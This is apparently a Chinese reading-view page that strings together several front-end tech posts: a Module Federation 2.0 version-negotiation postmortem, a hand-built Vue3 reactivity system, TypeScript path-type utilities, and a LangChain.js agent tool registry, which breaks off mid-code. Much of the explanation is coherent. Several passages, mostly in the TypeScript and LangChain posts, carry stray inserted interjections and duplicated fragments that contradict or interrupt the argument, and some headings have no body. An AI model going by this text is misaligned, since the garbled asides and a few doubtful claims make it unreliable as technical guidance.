阅读视图

发现新文章,点击刷新页面。

Module Federation 2.0 共享策略翻车实录:版本协商、热更新与依赖冲突的排查工具链

三个月前,我们把一个 B 端 SaaS 平台从 Webpack 5 的 Module Federation 1.0 迁到了 2.0。主应用加 6 个远程团队的子应用,涉及 React 18、antd 5.x、三套不同版本的 lodash,外加一个用了 moment 死活不肯迁 dayjs 的老团队。

迁完当天,线上白屏了。

控制台报了一个极其隐晦的错:Shared module is not available for eager consumption。查了两个小时才定位到根因——两个子应用对 react-dom 的版本协商结果不一致,一个拿到了 18.2.0,另一个拿到了 18.3.1。而 18.3.1 那个由于加载顺序的问题,在协商窗口关闭后才注册上来,直接被跳过了。

这篇文章是那次翻车之后,团队花三周搞出来的调优方案和诊断工具链的复盘。

MF 2.0 的共享运行时到底在干什么

协商窗口——最容易翻车的地方

关键问题来了:什么时候协商?

MF 2.0 有一个隐式的"协商窗口"概念。主应用调用 init() 初始化共享作用域后,会等待所有已知的远程容器注册完它们的共享模块,然后进入消费阶段。一旦某个模块开始消费某个共享依赖,协商窗口就关闭了——后来者注册的版本不会被纳入考量。

用时间线表示会更直观:

  init()  → 注册窗口打开
  Remote A 注册 react@18.2.0  
  Remote B 注册 react@18.3.1  
  Remote A 消费 react → 协商:选 18.3.1
  ════════ 协商窗口关闭 ════════
  Remote C 注册 react@18.2.0   来晚了
  Remote C 消费 react → 拿到 18.3.1
  (如果 C 配了 ~18.2.0 + strictVersion: true → 直接报错)

我们线上白屏就是这个时序问题。Remote C 是一个懒加载的子应用,用户点击菜单才加载,注册得晚,但它的 react-dom 配了 strictVersion: true,协商结果不满足它的版本要求,页面直接崩了。

版本协商算法:不只是 semver 匹配

默认协商策略的三层逻辑

MF 2.0 的版本协商不是简单的"找最新版",而是一个三层决策逻辑。

第一层是 singleton 模式判断。如果某个包被标记为 singleton,全局只保留一个版本,取已注册版本中最高的那个。这时如果同时配了 strictVersion,而最高版本不满足消费者的 requiredVersion,就会直接抛错;不配 strictVersion 的话,即使版本不匹配也硬上。

第二层是 semver 范围匹配。在所有已注册版本中,筛选出满足消费者 requiredVersion 范围的,取其中最高的。

第三层是兜底。没有满足条件的版本时,先尝试消费者自带的 fallback 版本;fallback 也没有的话,看 strictVersion ——配了就报错,没配就拿最高版本硬上,赌一把兼容性。

这三层逻辑在文档里分散在好几个地方,拼起来才能看到全貌。实际运行时还要考虑 eager 标记的影响——eager: true 的模块会在 init() 阶段就被加载,直接跳过协商窗口。

singleton 的隐式降级——我们踩过最阴的坑

reactreact-dom 几乎所有人都会配 singleton: true,这没问题。

我们有一个子应用依赖了 React 18.3.1 新增的 useFormStatus hook,但全局协商结果是 18.2.0(主应用锁了 18.2.0 且最先注册)。子应用拿到了 18.2.0 的 React,调用 useFormStatus 时直接 undefined is not a function

排查这个问题花了大半天,因为没有任何 warning。看配置,一切正常;看网络请求,React 确实加载了;看版本号——这一步才意识到拿到的不是预期版本。教训很明确:

//  只写 singleton → 版本不匹配时静默降级,运行时才爆炸
react: { singleton: true, requiredVersion: '^18.3.0' }

//  加上 strictVersion → 至少报一个明确的错误
react: { singleton: true, strictVersion: true, requiredVersion: '^18.3.0' }

两行配置的差别,决定了你是花 10 分钟看报错信息定位问题,还是花半天在毫无线索的情况下大海捞针。

远程模块热更新:比想象中复杂得多

静态远程 vs 动态远程

MF 2.0 支持两种远程模块加载方式。静态远程在构建时确定入口 URL,动态远程在运行时决定从哪里加载。热更新的难度完全不同。静态远程的"热更新"其实是个伪命题——URL 不变,浏览器缓存不失效,用户刷新页面才能拿到新版本。

动态远程才有真正的热更新能力。核心流程是:从配置中心拿到最新的远程入口 URL(带版本 hash),动态初始化远程容器,让新容器和当前的共享作用域完成握手,再获取模块工厂。

热更新的真正难点:共享依赖的状态一致性

假设 Team B 发布了子应用新版本,主应用通过动态远程加载了新的 remoteEntry.js,新版本把 antd 从 5.12 升到了 5.15。

问题在于:旧版本的子应用已经通过共享作用域拿到了 antd@5.12,全局样式和 ConfigProvider 的上下文状态都已经注入到 DOM 里了。新版本注册了 antd@5.15,但共享作用域里 antd 早就被消费过了,协商窗口关了。结果就是新子应用用的还是 5.12 的 antd,但代码是按 5.15 的 API 写的——该有的方法不存在,该变的行为没变。

我们的方案:分代共享作用域

最终我们搞了一个"分代"机制。每次有远程模块热更新时,不在原来的共享作用域上修修补补,而是创建一个新的作用域"代",让新版本的模块在新代里协商。新代会继承上一代已锁定的共享模块(除了需要升级的部分),新版本的远程模块在新代中注册和解析,旧版本继续用旧代,互不干扰。代价是内存占用增加——同一个依赖可能在不同代里各加载一份。

分代方案不是万能的。有几种情况我们选择直接强制整页刷新:

  • react / react-dom 版本变了——这俩 singleton 没法分代,React 的内部状态是全局的
  • 共享的状态管理库(zustand、redux)大版本变了——store 结构不兼容
  • CSS-in-JS 运行时(styled-components、emotion)版本变了——样式上下文会出问题

分代方案的其他代价

调试变得更复杂了。多代并存意味着同一个 antd Button 组件可能在页面上有两个版本同时渲染,样式不一致。我们的解法是在分代切换时对旧代组件做一次强制 unmount + remount,但这会导致短暂的 UI 闪烁。

GC 也是个问题。

诊断工具链:从"猜"到"看见"

共享作用域可视化面板

排查共享依赖问题最痛苦的地方是看不见。

我们做了一个 Chrome DevTools 面板插件。核心逻辑不复杂:遍历 __webpack_share_scopes__ 的全部条目,提取包名、版本号、注册来源、是否 eager、是否已被消费等信息,外加我们通过 monkey-patch 注入的注册时间戳和消费时间戳,结构化成扁平的数据数组。

面板 UI 分两个视图。表格视图列出所有共享包及其版本,标记出哪些是协商胜出的、哪些是 fallback、哪些被跳过了。时间线视图展示每个远程容器的注册和消费顺序——时序问题在这个视图里一眼就能看出来。

版本协商模拟器

线上出了问题再排查太晚了,我们需要在 CI 阶段就发现潜在冲突。

思路是:构建阶段收集所有子应用的 shared 配置,模拟运行时的协商过程,提前暴露不兼容。模拟器遍历每个应用注册的包版本,对每个消费者的 requiredVersion 做匹配检查。两种情况会标红:一是 strictVersion 配了但没有满足条件的版本,二是 singleton 模式下最高版本不满足某个消费者的 requiredVersion——也就是说该消费者运行时会拿到一个不兼容的版本。

我们把这个 checker 集成到了 GitLab CI 的 merge request 流程里。每次有子应用提交 MR,CI 会从 federation registry 服务拉取所有其他子应用当前的 shared 配置,跑一遍模拟协商。有冲突的话 MR 直接标红,强制人工 review。上线两个月,这个 checker 在 CI 阶段拦截了 14 次潜在的版本冲突,其中 3 次如果上了线上就是白屏级别的故障。

运行时依赖图谱追踪

最后一个工具解决的是:页面上真出了共享依赖相关的 bug,怎么快速定位到是哪条依赖链路出了问题。

我们对 MF 的 __webpack_init_sharing__ 和远程容器的 init / get 方法做了 monkey-patch,记录每一次共享依赖的注册、协商和消费事件,包括时间戳、来源容器名、注册了哪些共享模块等。trace 数据导出为 JSON 后,扔到可视化面板里就能画出完整的依赖图谱和时间线。排查问题时,不用再在控制台里一层层展开对象了。

Vue3 响应式原理:从 Proxy 到依赖收集,手撸一个迷你 reactivity

Vue3 响应式原理:从 Proxy 到依赖收集,手撸一个迷你 reactivity

手撸开始:一个 200 行以内的迷你 reactivity

第二步:effect——注册一个"关心数据变化"的函数

function effect(fn: () => void) {
  const run = () => {
    activeEffect = run
    effectStack.push(run)
    fn()                      // 执行 fn 的过程中会触发 get → 收集依赖
    effectStack.pop()
    activeEffect = effectStack[effectStack.length - 1] || null
  }
  run() // 立即执行一次,触发首次依赖收集
}

为什么要用栈?看这个场景:

effect(() => {          // effectA
  console.log(state.a)
  effect(() => {        // effectB
    console.log(state.b)
  })
  console.log(state.c)  // 这里 activeEffect 应该是 effectA,不是 effectB
})

如果不用栈,内层 effect 执行完后 activeEffect 就丢了,外层的 state.c 会收集不到依赖。这不是什么边界 case,嵌套 computed 就会触发这个场景。

第三步:依赖存储结构

// 数据结构:target → key → Set<effect>
// 翻译成人话:哪个对象的哪个属性,被哪些 effect 函数关心
const targetMap = new WeakMap<object, Map<string | symbol, Set<() => void>>>()

function track(target: object, key: string | symbol) {
  if (!activeEffect) return  // 没人在执行 effect,不用收集
  let depsMap = targetMap.get(target)
  if (!depsMap) {
    depsMap = new Map()
    targetMap.set(target, depsMap)
  }
  let deps = depsMap.get(key)
  if (!deps) {
    deps = new Set()
    depsMap.set(key, deps)
  }
  deps.add(activeEffect) // 把当前 effect 函数记下来
}

function trigger(target: object, key: string | symbol) {
  const depsMap = targetMap.get(target)
  if (!depsMap) return
  const deps = depsMap.get(key)
  if (!deps) return
  deps.forEach(fn => fn()) // 数据变了,挨个通知
}

为什么用 WeakMap

第四步:reactive——把普通对象变成响应式

function reactive<T extends object>(target: T): T {
  return new Proxy(target, {
    get(obj, key, receiver) {
      track(obj, key)                     // 读的时候:收集依赖
      const result = Reflect.get(obj, key, receiver)
      // 如果值还是对象,递归代理(懒代理,用到才代理)
      if (typeof result === 'object' && result !== null) {
        return reactive(result)
      }
      return result
    },
    set(obj, key, value, receiver) {
      const oldValue = obj[key as keyof T]
      const result = Reflect.set(obj, key, value, receiver)
      if (oldValue !== value) {
        trigger(obj, key)                 // 写的时候:触发更新
      }
      return result
    }
  })
}

注意这里的懒代理——不是一上来就递归把所有嵌套对象全代理了,而是访问到某个属性发现它是对象时才代理。这是 Vue3 相比 Vue2 的一个性能优化。Vue2 的 observe 是初始化时递归全量遍历,数据量大的时候初始化会卡。


设计权衡:为什么 Vue3 这么设计

Proxy vs defineProperty

维度 defineProperty Proxy
新增属性 拦不到,需要 $set 自动拦截
数组变异 需要 hack 7 个方法 原生支持
初始化成本 全量递归 懒代理,按需
兼容性 IE9+ IE 完全不支持
性能 属性多时慢 整体更优

Vue3 放弃 IE 不是任性,是 Proxy 没法 polyfill。这是个技术选型的取舍——用兼容性换来了更好的 API 和性能。

为什么不用脏检查(Angular 1 的方式)

脏检查是每次变化都全量对比。数据少的时候没啥,数据一多就是灾难。就像你为了看快递到没到,每五分钟打开门看一次,不如让快递员到了给你打电话。

为什么依赖收集在 get 里而不是手动声明

手动声明依赖意味着你需要自己维护"谁依赖谁"的关系。React 的 useEffect 就是这个思路——你得手写依赖数组。忘写一个?恭喜你喜提一个 stale closure bug。

Vue 的自动依赖收集虽然有运行时成本,但开发体验好太多。你用到了哪些数据,框架自动知道。


边界与踩坑

解构丢失响应式

回到开头的问题:

const state = reactive({ count: 0 })

//  解构出来是个普通值,和 state 断开了
const { count } = state // count = 0,就是个数字

//  用 toRefs 保持连接
const { count } = toRefs(state) // count 是个 ref,.value 和 state.count 同步

reactive 只能用于对象

//  基本类型不能用 reactive
const count = reactive(0) // 报错,Proxy 只能代理对象

//  基本类型用 ref
const count = ref(0) // 内部其实是 reactive({ value: 0 })

ref 本质上就是把基本类型包了一层对象,这就是为什么你要写 .value——不是 Vue 团队故意折磨你。

大数组 / 大对象的性能

响应式不是免费的。每次 get 都要执行 track,每次 set 都要 trigger。几千个属性的对象做响应式,初始化和更新都有开销。

// 大列表只读展示?别用 reactive
import { markRaw, shallowRef } from 'vue'

//  shallowRef:只有 .value 本身的替换是响应式的,内部属性不追踪
const bigList = shallowRef(fetchHugeList())

//  markRaw:标记对象永远不被代理
const rawData = markRaw(someHugeObject)

循环引用

const a = reactive({} as any)
const b = reactive({} as any)
a.b = b
b.a = a // ← 不会爆栈,因为是懒代理,访问到才代理

Vue3 的懒代理在这里救了你一命。如果是 Vue2 的全量递归,这就直接栈溢出了。


总结:响应式的通用思维模型

Vue3 的响应式不是什么独创发明,它是一个经典模式的精致实现:

拦截 → 收集 → 通知

  • 拦截:Proxy 拦截对象的读和写
  • 收集:读的时候记下"谁在读"
  • 通知:写的时候告诉所有读过的人"值变了"

这个模型不止用于 UI 框架。数据库的触发器、Excel 的公式联动、消息队列的发布订阅,底层都是这个模式。以后遇到类似的问题——"A 变了,B 要自动跟着变"——你就知道该用什么结构了:建一个依赖图,读时收集,写时触发。

最后送一句:理解响应式最好的方式不是读文档,是自己撸一遍。 200 行代码,一杯咖啡的时间,你能获得的理解比读十篇文章都多。

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

你写过 get(obj, 'a.b.c') 吗?

Lodash 的 _.get 应该是前端用得最多的工具函数之一了。好用是好用,但它返回的类型是 any。你传个 'a.b.c',TypeScript 完全不知道这条路径是不是真的存在,更不知道取出来的值是什么类型(这个说法其实不太严谨)。

import _ from 'lodash'

const config = {
  db: {
    host: 'localhost',
    port: 5432,
    pool: { max: 10, min: 2 }
  }
}

const host = _.get(config, 'db.host')
// host 的类型:any
// 你拼错成 'db.hoost' 也不会报错,运行时才炸

const max = _.get(config, 'db.pool.max')
// max 的类型:还是 any
// 你把它当 string 用,TypeScript 不拦你

这事困扰了我挺久。后来 TypeScript 4.1 加了模板字面量类型,再配合 infer 和递归条件类型,终于可以让路径访问变得类型安全了。

这篇就聊聊怎么一步步把这个工具类型搓出来。

约束路径:只允许合法路径

这一步是整个方案里最有意思的部分。要生成一个对象所有合法路径的联合类型。

type AllPaths<T, Prefix extends string = ''> =
  T extends object
    ? {
        [K in keyof T & string]:
          | `${Prefix}${K}`                              // 当前层的 key
          | AllPaths<T[K], `${Prefix}${K}.`>             // 递归下一层
      }[keyof T & string]
    : never

type ConfigPaths = AllPaths<Config>
// 'db' | 'db.host' | 'db.port' | 'db.pool' | 'db.pool.max' | 'db.pool.min'
// | 'redis' | 'redis.host' | 'redis.ttl'

这个类型做的事情:遍历对象的每一层,把所有可能的路径拼成字符串字面量的联合类型。

现在改造一下 deepGet

function deepGet<T, P extends AllPaths<T> & string>(
  obj: T,
  path: P
): DeepGet<T, P> {
  return path.split('.').reduce((acc: any, key) => acc?.[key], obj) as any
}

deepGet(config, 'db.host')       //  正常
deepGet(config, 'db.pool.max')   //  正常
deepGet(config, 'db.hoost')      //  编译报错!'db.hoost' 不在合法路径里

写错路径直接标红。编辑器自动补全也能用了——输入 'db.' 会提示 hostportpool

这体验比 Lodash 的 _.get 好太多了。

处理数组和可选属性

上面的版本遇到数组就歇菜了。真实业务里对象嵌数组太常见了,得处理。

type Config2 = {
  servers: Array<{
    host: string
    port: number
    tags: string[]
  }>
  metadata?: {
    version: string
  }
}

数组怎么办?一般有两种思路:

思路一:用 [number] 语法表示数组索引

路径写成 'servers.[number].host',类型层面识别 [number] 并取数组元素类型。

type DeepGetV2<T, P extends string> =
  P extends `${infer Key}.${infer Rest}`
    ? Key extends keyof T
      ? DeepGetV2<T[Key], Rest>
      : Key extends `[number]`                    // 命中 [number]
        ? T extends Array<infer Item>             // T 是数组吗?
          ? DeepGetV2<Item, Rest>                 // 是 → 取元素类型继续递归
          : never
        : never
    : P extends keyof T
      ? T[P]
      : P extends `[number]`
        ? T extends Array<infer Item> ? Item : never
        : never

思路二:自动穿透数组

遇到数组类型自动取元素,路径里不用写 [number]。路径写 'servers.host' 就能拿到 string

我个人更倾向思路一。虽然写起来啰嗦点,但语义更明确——你一眼就知道这里穿过了一个数组。思路二在类型层面倒是简洁,但读代码的人可能会困惑:servers 明明是个数组,怎么直接 .host 了?

可选属性的处理相对简单,DeepGet 递归下去自然会带上 undefined

type Config3 = {
  metadata?: { version: string }
}

type V = DeepGet<Config3, 'metadata.version'>
// string | undefined (因为 metadata 可能不存在)

这里 TypeScript 的行为其实符合直觉,不用额外处理。

AllPaths 的性能问题

AllPaths 有个坑:对象属性越多、嵌套越深,生成的联合类型就越庞大。

假设一个对象每层 10 个属性,嵌套 4 层。AllPaths 生成的路径数量大概是 10 + 10×10 + 10×10×10 + 10×10×10×10 ≈ 11110 个字符串字面量。TypeScript 编译器处理这么大的联合类型,编辑器会明显卡顿。

之前在一个项目里给一个比较大的配置对象加了 AllPaths 约束——先别急着反驳,VSCode 的 TS Server 直接转圈了好几秒。后来只好妥协,只对核心配置做路径约束,其他的还是用 string

几个缓解思路:

// 1. 限制递归深度,只生成前 N 层的路径
type ShallowPaths<T, Depth extends any[] = []> =
  Depth['length'] extends 3 ? never :  // 只展开 3 层
  T extends object
    ? { [K in keyof T & string]:
        | K
        | `${K}.${ShallowPaths<T[K], [...Depth, any]>}`
      }[keyof T & string]
    : never

// 2. 拆分类型,对子树单独约束
// 不要 AllPaths<WholeConfig>,而是 AllPaths<Config['db']>
function getDbConfig<P extends AllPaths<Config['db']>>(path: P) {
  return deepGet(config.db, path)
}

说实话这块没有完美方案。类型安全和编译性能之间得做取舍。

聊到这

infer + 模板字面量类型 + 递归条件类型,这三个东西组合起来能做的事情比想象中多很多。路径访问只是其中一个典型应用。

不过也别上头。也行。类型体操写得越复杂,维护成本越高。一个新人看到五六层嵌套的条件类型,大概率直接懵。我的经验是:工具类型可以复杂,但暴露给使用者的 API 要简单。把复杂度藏在工具类型内部,让调用方只需要写 deepGet(obj, 'a.b.c') 就够了。

好吧这个问题比我想的复杂。

还有一点,TypeScript 的类型系统本身是图灵完备的,理论上啥都能算。但"能做"和"该做"是两回事。等等,其实"和"该做"是两回事。如果一个类型写了超过 20 行,先想想是不是设计上能简化。

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

AgentExecutor.invoke() 那个 Promise resolve 的时候,你用户已经对着空白页发了 40 秒呆。

这不是性能问题。这是产品层面的硬伤——LLM Agent 做推理天生就慢,一个中等复杂度的任务跑个 3 到 5 轮 tool.call() 很正常,每轮都要等模型吐完 token、解析结构化输出、跑一下外部调用、再把结果塞回 messages 数组喂回去,整条链路跑下来十几秒起步,你要是把这些全藏在一个 loading spinner 后面,用户的耐心大概撑不过第二轮。所以真正要解决的问题不是"怎么让 Agent 跑起来",是怎么把它边跑边想的过程实时地、结构化地渲染出来(当然这是理想情况)。

Tool 选择、参数组装、中间结果、重试决策。全得摊开给用户看。说白了嘛,就是给 LLM 的"内心戏"搭一个可视化的舞台,让用户知道它不是卡死了而是真的在干活。跑通一个 demo 不难,难的是这套东西在生产环境里不崩——两个字概括就是"耐操"。

用户输入
  ↓
LLM 决策(选 Tool + 生成参数)
  ↓                    ↓
Tool A 执行         Tool B 执行(并行)
  ↓                    ↓
结果合并 → LLM 再决策
               ↓
          Tool C 执行
               ↓
          最终输出

这个流程画出来像个 DAG。但运行时它是动态生长的——你在第一步根本不知道后面会长出几个分支,也不知道哪个 Tool 会超时、哪个会返回意料之外的格式让 LLM 的 JSON.parse 直接炸掉。这篇文章围绕这个矛盾展开:怎么设计一套前端架构让 Tool 可插拔注册、思维链状态可追踪、DAG 可实时渲染,同时不把代码写成一坨谁都不想维护的东西。

Tool 注册机制:别让你的 Agent 变成一个巨型 switch-case

先上问题。LangChain.js 里注册 Tool 的标准姿势大概长这样:

import { DynamicStructuredTool } from '@langchain/core/tools'
import { z } from 'zod'

const searchTool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({
    query: z.string().describe('搜索关键词'),
    maxResults: z.number().optional().default(5),
  }),
  func: async ({ query, maxResults }) => {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=${maxResults}`)
    const data = await res.json()
    return JSON.stringify(data.results.slice(0, maxResults))
  },
})

一个 Tool 写成这样没问题。三个也凑合。十五个呢?

真实项目里 Agent 要调的 Tool 很容易膨胀到两位数——搜索、计算、db.query()、文件读写、外部 REST API 调用、沙箱代码执行——每一个都有自己的 schema 定义、错误处理逻辑、重试策略、权限校验规则,你要是把它们全塞在一个文件里就会得到一个 800 行的 tools.ts,三个月后没人敢碰这玩意。

需要 registry 模式。

// tool-registry.ts
// 核心思路:Tool 自己知道自己是谁,registry 只负责收集和分发

type ToolMeta = {
  category: 'search' | 'compute' | 'io' | 'external'
  requiresAuth: boolean
  timeout: number  // 毫秒,超时直接 abort
  retryable: boolean
}

class ToolRegistry {
  private tools = new Map<string, DynamicStructuredTool>()
  private meta = new Map<string, ToolMeta>()

  register(tool: DynamicStructuredTool, meta: ToolMeta) {
    if (this.tools.has(tool.name)) {
      // 同名 Tool 重复注册,直接炸——这种 bug 越早发现越好
      throw new Error(`Tool "${tool.name}" already registered`)
    }
    this.tools.set(tool.name, tool)
    this.meta.set(tool.name, meta)
  }

  getTools(filter?: { category?: ToolMeta['category'] }): DynamicStructuredTool[] {
    let entries = [...this.tools.entries()]
    if (filter?.category) {
      entries = entries.filter(([name]) => 
        this.meta.get(name)?.category === filter.category
      )
    }
    return entries.map(([, tool]) => tool)
  }

  getMeta(name: string): ToolMeta | undefined {
    return this.meta.get(name)
  }
}

export const registry = new ToolRegistry()

然后每个 Tool 自己单独一个文件,文件末尾做自注册,import 的副作用就是把自己挂到 registry 上:

// tools/web-search.ts
import { registry } from '../tool-registry'

const tool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({ query: z.string() }),
  func: async ({ query }) => {
    // ...实际逻辑
  },
})

registry.register(tool, {
  category: 'search',
  requiresAuth: false,
  timeout: 10000,
  retryable: true,
})

这个模式有个隐含的坑。

const toolModules = import.meta.glob('./tools/*.ts', { eager: true })
// eager: true → 同步加载,确保注册发生在 Agent 创建之前
// 不需要用返回值,import 的副作用已经完成注册

静态注册搞定了。

但跑起来还有一层:Tool 执行过程中的生命周期钩子。你需要知道一个 Tool 什么时候开始执行、什么时候结束、返回了什么、报错了没有——这些信息不只是后面思维链可视化的数据源,它就是思维链本身的骨架,没有这些事件流你后面画个锤子的 DAG。

嗯,继续。

LangChain.js 原生提供了 callbacks 机制来做这事。但它的回调设计——怎么说呢——有点"Java 味儿",handleToolStarthandleToolEndhandleToolError 一堆方法签名糊你脸上,参数类型还经常对不上文档(虽然这个设计我觉得有点奇怪,明明 TypeScript 项目为什么类型定义这么随意)。我的做法是在 registry 层包一层代理把 Tool 的 func 拦截掉:

// 在 ToolRegistry.register 方法内部
register(tool: DynamicStructuredTool, meta: ToolMeta) {
  const originalFunc = tool.func.bind(tool)

  const wrappedFunc = async (input: any, runManager?: any) => {
    const startTime = Date.now()
    const executionId = crypto.randomUUID()

    this.emit('tool:start', { 
      executionId, 
      toolName: tool.name, 
      input, 
      timestamp: startTime 
    })

    try {
      const result = await Promise.race([
        originalFunc(input, runManager),
        new Promise((_, reject) => 
          setTimeout(() => reject(new Error(`Tool ${tool.name} timeout`)), meta.timeout)
        ),
      ])

      this.emit('tool:end', { 
        executionId, 
        toolName: tool.name, 
        result, 
        duration: Date.now() - startTime 
      })
      return result
    } catch (err) {
      this.emit('tool:error', { 
        executionId, 
        toolName: tool.name, 
        error: err, 
        duration: Date.now() - startTime,
        retryable: meta.retryable,
      })
      throw err
    }
  }

  ;(tool as any).func = wrappedFunc
  this.tools.set(tool.name, tool)
  this.meta.set(tool.name, meta)
}

这段代码有个细节值得停一下。Promise.race 里塞 setTimeout 做超时兜底这个套路很常见,但用在 LangChain Tool 里有一个陷阱——timeout reject 之后原始的 fetch 或者数据库查询其实还在跑着呢。你的 Agent 已经收到报错往下走了,后台还挂着一个请求在那耗资源。前端并发高这个说法本身就有点奇怪对吧?一个用户一次也就跑一个 Agent。但你仔细想——如果 Agent 支持并行 Tool 调用,同时起 3、4 个 fetch,再叠上用户可能开了好几个对话 tab 每个 tab 都在跑,这个泄漏就不是理论问题了,AbortController 是正解但 DynamicStructuredTool 不方便把 AbortSignal 传进 func 里,得自己在闭包里存一个,写出来不好看,先欠着。

嗯,继续。

真正让 registry 模式值回票价的是动态 Tool 集,不同用户角色、不同对话场景,Agent 能调的 Tool 不一样。管理员能用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。哦不,准确说是用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。处理代码问题时加载 code_executor,闲聊天的时候不需要。

function getToolsForContext(user: User, conversationType: string) {
  const tools = registry.getTools()

  return tools.filter(tool => {
    const meta = registry.getMeta(tool.name)!
    if (meta.requiresAuth && !user.permissions.includes(tool.name)) {
      return false
    }
    if (conversationType === 'casual' && meta.category === 'compute') {
      return false
    }
    return true
  })
}

const agent = await createOpenAIFunctionsAgent({
  llm,
  tools: getToolsForContext(currentUser, 'technical'),
  prompt,
})

这段 filter 看着朴素,本质上是把 Tool 的注册和使用解耦了。

不过话说回来。这套 registry 最大的受益者不是运行时(虽然官方文档不是这么说的)。是后面的 DAG 渲染,因为 tool:starttool:end 这些事件流出来了,思维链的数据源就有了。

思维链状态管理:把 LLM 的内心戏变成一棵可追踪的树

AgentExecutor 跑起来之后内部在干嘛?

就是一个循环:

while (true) {
  1. 把当前 messages 数组发给 LLM
  2. LLM 返回:要调 Tool(哪个 Tool 什么参数)或者直接吐最终答案
  3. 最终答案 → break
  4. Tool 调用 → 执行 → 结果塞回 messages → 回到 1
}

循环每转一圈就是思维链上一个节点。问题在于 LangChain 的 callbacks 能告诉你这些事件发生了,但它不给你一个结构化的状态对象来表达整条链的拓扑关系——你拿到的是一堆散装事件,得自己攒成一棵树。

一开始设计太复杂了后来砍了又砍,砍到不能再砍:(数据结构。踩了几次坑之后收敛出来的版本)

type ThinkingNodeType = 'llm_call' | 'tool_call' | 'tool_result' | 'final_answer' | 'error'

type ThinkingNodeStatus = 'pending' | 'running' | 'completed' | 'failed'

interface ThinkingNode {
  id: string
  type: ThinkingNodeType
  status: ThinkingNodeStatus
  parentId: string | null
  label: string
  data: Record<string, any>
  startedAt: number
  completedAt: number | null
  children: string[]
  streamTokens?: string[]
}

interface ThinkingChain {
  sessionId: string
  rootId: string
  nodes: Map<string, ThinkingNode>
  currentNodeId: string | null
}

ThinkingNodeparentIdchildren 形成树结构。等下——不是说好了 DAG 吗?对,理论上如果两个 Tool 的结果同时喂给下一轮 LLM 决策那确实是 DAG 不是树。但在 LangChain.js 目前的 AgentExecutor 实现里(注意我说的是 AgentExecutor 不是 langgraph)并行 Tool 调用的结果最终还是拼成一条消息喂回去的,所以中间状态用树来建模够用了,真要严格 DAG 后面单独讲。

管理器,维护这棵树同时对接 LangChain 的 callback 体系:

class ThinkingChainManager {
  private chain: ThinkingChain
  private listeners = new Set<(chain: ThinkingChain) => void>()

  constructor(sessionId: string) {
    const rootId = crypto.randomUUID()
    this.chain = {
      sessionId,
      rootId,
      nodes: new Map(),
      currentNodeId: null,
    }
  }

  addNode(
    type: ThinkingNodeType,
    label: string,
    parentId: string | null,
    data: Record<string, any> = {}
  ): string {
    const id = crypto.randomUUID()
    const node: ThinkingNode = {
      id, type, status: 'pending', parentId, label, data,
      startedAt: Date.now(), completedAt: null, children: [],
    }

    this.chain.nodes.set(id, node)

    if (parentId && this.chain.nodes.has(parentId)) {
      this.chain.nodes.get(parentId)!.children.push(id)
    }

    this.notify()
    return id
  }

  updateStatus(nodeId: string, status: ThinkingNodeStatus) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    node.status = status
    if (status === 'completed' || status === 'failed') {
      node.completedAt = Date.now()
    }
    if (status === 'running') {
      this.chain.currentNodeId = nodeId
    }
    this.notify()
  }

  appendStreamToken(nodeId: string, token: string) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    if (!node.streamTokens) node.streamTokens = []
    node.streamTokens.push(token)
    // 这里刻意不调 notify()
  }

  subscribe(listener: (chain: ThinkingChain) => void) {
    this.listeners.add(listener)
    return () => this.listeners.delete(listener)
  }

  private notify() {
    this.listeners.forEach(fn => fn(this.chain))
  }

  getSnapshot(): ThinkingChain {
    return this.chain
  }
}

为什么 appendStreamToken 不触发 notify()

因为 GPT-4 和 Claude 吐 token 的速度大概每秒 30 到 80 个,短 token 飞起来的时候能到 100 以上——如果每个 token 都触发一次 React re-render 你的 UI 线程会直接卡成幻灯片放映。正确做法是在消费端 throttle,用 requestAnimationFrame 一帧刷一次就够了:

useEffect(() => {
  const unsub = chainManager.subscribe(chain => {
    setDisplayChain(structuredClone(chain))
  })

  let rafId: number
  const tickStream = () => {
    setDisplayChain(structuredClone(chainManager.getSnapshot()))
    rafId = requestAnimationFrame(tickStream)
  }
  rafId = requestAnimationFrame(tickStream)

  return () => {
    unsub()
    cancelAnimationFrame(rafId)
  }
}, [chainManager])

structuredClone 在这里是有点奢侈的。节点多的时候每帧 clone 一次整棵树开销不小(虽然说实话 20 个节点的对象 clone 一次也就微秒级别),更好的做法是上 immer 维护 immutable 结构,但过早优化不如先跑通再说。

写到这里突然觉得之前说的不太对。

接着要把 ThinkingChainManager 和 LangChain 的 callback 对接。继承 BaseCallbackHandler 重写一堆 handle* 方法:

import { BaseCallbackHandler } from '@langchain/core/callbacks/base'

class ThinkingChainCallbackHandler extends BaseCallbackHandler {
  name = 'ThinkingChainHandler'
  private manager: ThinkingChainManager
  private runNodeMap = new Map<string, string>()
  private currentLlmNodeId: string | null = null

  constructor(manager: ThinkingChainManager) {
    super()
    this.manager = manager
  }

  async handleLLMStart(llm: any, prompts: string[], runId: string) {
    const parentId = this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'llm_call',
      '正在思考...',
      parentId,
      { model: llm?.modelName || 'unknown' }
    )
    this.runNodeMap.set(runId, nodeId)
    this.currentLlmNodeId = nodeId
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleLLMNewToken(token: string) {
    if (this.currentLlmNodeId) {
      this.manager.appendStreamToken(this.currentLlmNodeId, token)
    }
  }

  async handleLLMEnd(output: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'completed')
    }
    this.currentLlmNodeId = null
  }

  async handleToolStart(tool: any, input: string, runId: string) {
    const parentId = this.currentLlmNodeId || this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'tool_call',
      `调用 ${tool.name || 'Tool'}`,
      parentId,
      { toolName: tool.name, input: JSON.parse(input || '{}') }
    )
    this.runNodeMap.set(runId, nodeId)
